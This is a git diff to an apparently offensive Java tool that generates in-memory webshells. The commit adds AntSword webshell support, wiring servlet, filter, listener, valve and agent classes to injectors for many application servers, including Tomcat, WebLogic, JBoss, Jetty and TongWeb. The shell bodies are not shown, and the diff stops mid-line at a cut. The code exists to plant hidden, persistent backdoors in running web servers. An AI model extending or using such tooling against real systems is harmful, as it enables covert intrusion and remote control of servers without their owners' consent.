diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml index 1b0ee205..697332bf 100644 --- a/.github/workflows/test.yaml +++ b/.github/workflows/test.yaml @@ -57,6 +57,7 @@ jobs: - resin - payara - websphere + - websphere7 - springmvc - weblogic - springwebflux diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 819c7523..a0963f50 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -22,6 +22,7 @@ public class GenerateRequest { private String godzillaKey; private String commandParamName; private String behinderPass; + private String antSwordPass; private String headerName; private String headerValue; } @@ -50,6 +51,12 @@ public class GenerateRequest { .headerName(shellToolConfig.getHeaderName()) .headerValue(shellToolConfig.getHeaderValue()) .build(); + case AntSword -> AntSwordConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .pass(shellToolConfig.getAntSwordPass()) + .headerName(shellToolConfig.getHeaderName()) + .headerValue(shellToolConfig.getHeaderValue()) + .build(); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index bc3e0ab2..c1ecd468 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -26,6 +26,7 @@ public abstract class AbstractShell { case Command -> getCommandShellMap().keySet().stream().toList(); case Behinder -> getBehinderShellMap().keySet().stream().toList(); case Suo5 -> getSuo5ShellMap().keySet().stream().toList(); + case AntSword -> getAntSwordShellMap().keySet().stream().toList(); default -> Collections.emptyList(); }; } @@ -77,12 +78,17 @@ public abstract class AbstractShell { return Collections.emptyMap(); } + protected Map, Class>> getAntSwordShellMap() { + return Collections.emptyMap(); + } + private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { Map, Class>> shellMap = switch (shellTool) { case Godzilla -> getGodzillaShellMap(); case Command -> getCommandShellMap(); case Behinder -> getBehinderShellMap(); case Suo5 -> getSuo5ShellMap(); + case AntSword -> getAntSwordShellMap(); default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType); }; return shellMap.get(shellType); @@ -94,6 +100,7 @@ public abstract class AbstractShell { case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); + case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java index f4f0fc99..6af734de 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener; import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener; import com.reajason.javaweb.memshell.apusic.command.CommandListener; import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener; @@ -7,6 +8,8 @@ import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -62,4 +65,13 @@ public class ApusicShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java index 80e3b0a4..e46fd0eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java @@ -1,10 +1,13 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve; import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; import com.reajason.javaweb.memshell.bes.command.CommandValve; import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.bes.injector.*; import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -70,4 +74,15 @@ public class BesShell extends AbstractShell { map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index 6c6eec44..d699b88c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener; import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; import com.reajason.javaweb.memshell.glassfish.command.CommandListener; import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; @@ -7,6 +8,9 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -86,4 +90,15 @@ public class GlassFishShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java index eff565db..89121848 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java @@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -86,4 +90,15 @@ public class InforSuiteShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 855a4b57..86e58df1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -74,4 +78,15 @@ public class JbossShell extends AbstractShell { map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 93f5b5c4..55d35996 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener; import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor; import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener; import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor; @@ -11,6 +13,8 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -83,4 +87,14 @@ public class JettyShell extends AbstractShell { map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class)); + map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index 567cdef3..61db2198 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener; import com.reajason.javaweb.memshell.resin.behinder.BehinderListener; import com.reajason.javaweb.memshell.resin.command.CommandListener; import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; @@ -8,6 +9,9 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -71,4 +75,14 @@ public class ResinShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java index 5117e818..c4ae42aa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; @@ -72,4 +75,13 @@ public class SpringWebMvcShell extends AbstractShell { map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class)); + map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); + map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index c84e2f45..0176e7da 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -1,5 +1,9 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -15,6 +19,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; @@ -99,4 +104,16 @@ public class TomcatShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java index da2085f1..8ac47f71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; @@ -82,4 +86,15 @@ public class TongWeb6Shell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java index 1dd6dc3d..0852a2d5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; @@ -82,4 +86,15 @@ public class TongWeb7Shell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index 5c176832..ef5fd339 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -8,6 +10,8 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener; +import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.command.CommandListener; @@ -83,4 +87,14 @@ public class UndertowShell extends AbstractShell { map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class)); + map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java index 77157674..8e2d9fb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -11,6 +14,7 @@ import 